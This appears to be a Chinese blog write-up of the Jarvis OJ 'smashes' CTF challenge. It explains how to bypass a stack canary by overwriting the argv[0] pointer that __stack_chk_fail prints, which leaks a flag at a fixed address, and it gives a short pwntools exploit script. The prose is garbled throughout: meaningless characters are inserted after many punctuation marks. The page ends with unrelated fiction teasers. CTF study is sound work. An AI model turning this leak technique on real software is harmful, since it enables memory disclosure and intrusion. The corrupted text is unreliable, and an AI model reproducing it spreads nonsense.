置之死地而后生——Stack Smashing Protector任意地址讀

Jarvis OJ上面的一道題smashes

ida查看關(guān)鍵函數(shù)

查看byte_600d20的位置:

第一次是向棧上輸入一個(gè)無(wú)限長(zhǎng)的字符串,第二次是往flag附近寫(xiě)入,并且第二個(gè)輸入字符將會(huì)覆蓋flag

顯然第一次輸入觸發(fā)棧溢出

開(kāi)啟了canary础钠,關(guān)于繞過(guò)canary的思路主要有兩種

一排监、泄露canary

二仇奶、利用canary檢查失敗后調(diào)用的___stack_chk_fail函數(shù)

這里利用__stack_chk_fail實(shí)現(xiàn)任意地址讀捻艳。

gdb調(diào)試下進(jìn)入___stack_chk_fail函數(shù)驾窟,再步入__GI__fortify_fail函數(shù),可以看到這里執(zhí)行了一個(gè)叫做__libc_message的函數(shù)

功能大概就是輸出一些錯(cuò)誤信息

其中當(dāng)前程序的路徑名是從argv[0]中取得的并存放在棧上讯泣,然后用類似于格式化字符串的方式進(jìn)行拼接纫普。

第一次輸入的數(shù)據(jù)起始位置是0x7fffffffdfd0,而存放0x7fffffffe4de的棧上地址為0x7fffffffe1e8好渠,只要輸入足夠長(zhǎng)昨稼,是可以覆蓋__libc_message的參數(shù)的,從而把我們覆蓋的地址位置的數(shù)據(jù)打印出來(lái)拳锚。


from pwn import *

p=remote('pwn.jarvisoj.com',9877)

p.recvuntil("What's your name?")

p.sendline('A'*536+p64(0x400d20))

#gdb.attach(p,'b* 0x00000000004008A9')

p.recvuntil('Please overwrite the flag:')

p.sendline('')

print p.recvuntil('Thank you, bye!')

print p.recv()

#raw_input()


PS:這里叕有個(gè)坑假栓,原本說(shuō)好了存在bss里的flag被清掉了。霍掺。匾荆。gdb搜索相關(guān)字符串發(fā)現(xiàn)在0x400d20還有一個(gè)備份。杆烁。牙丽。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市兔魂,隨后出現(xiàn)的幾起案子烤芦,更是在濱河造成了極大的恐慌,老刑警劉巖析校,帶你破解...
    沈念sama閱讀 221,198評(píng)論 6 514
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件构罗,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡智玻,警方通過(guò)查閱死者的電腦和手機(jī)遂唧,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,334評(píng)論 3 398
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)吊奢,“玉大人盖彭,你說(shuō)我怎么就攤上這事∫彻觯” “怎么了召边?”我有些...
    開(kāi)封第一講書(shū)人閱讀 167,643評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)逻谦。 經(jīng)常有香客問(wèn)我掌实,道長(zhǎng),這世上最難降的妖魔是什么邦马? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,495評(píng)論 1 296
  • 正文 為了忘掉前任贱鼻,我火速辦了婚禮宴卖,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘邻悬。我一直安慰自己症昏,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,502評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布父丰。 她就那樣靜靜地躺著肝谭,像睡著了一般。 火紅的嫁衣襯著肌膚如雪蛾扇。 梳的紋絲不亂的頭發(fā)上攘烛,一...
    開(kāi)封第一講書(shū)人閱讀 52,156評(píng)論 1 308
  • 那天,我揣著相機(jī)與錄音镀首,去河邊找鬼坟漱。 笑死,一個(gè)胖子當(dāng)著我的面吹牛更哄,可吹牛的內(nèi)容都是我干的芋齿。 我是一名探鬼主播,決...
    沈念sama閱讀 40,743評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼成翩,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼觅捆!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起麻敌,我...
    開(kāi)封第一講書(shū)人閱讀 39,659評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤栅炒,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后庸论,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體职辅,經(jīng)...
    沈念sama閱讀 46,200評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡棒呛,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,282評(píng)論 3 340
  • 正文 我和宋清朗相戀三年聂示,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片簇秒。...
    茶點(diǎn)故事閱讀 40,424評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡鱼喉,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出趋观,到底是詐尸還是另有隱情扛禽,我是刑警寧澤,帶...
    沈念sama閱讀 36,107評(píng)論 5 349
  • 正文 年R本政府宣布皱坛,位于F島的核電站编曼,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏剩辟。R本人自食惡果不足惜掐场,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,789評(píng)論 3 333
  • 文/蒙蒙 一往扔、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧熊户,春花似錦萍膛、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,264評(píng)論 0 23
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至蝌戒,卻和暖如春串塑,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背北苟。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,390評(píng)論 1 271
  • 我被黑心中介騙來(lái)泰國(guó)打工拟赊, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人粹淋。 一個(gè)月前我還...
    沈念sama閱讀 48,798評(píng)論 3 376
  • 正文 我出身青樓吸祟,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親桃移。 傳聞我的和親對(duì)象是個(gè)殘疾皇子屋匕,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,435評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容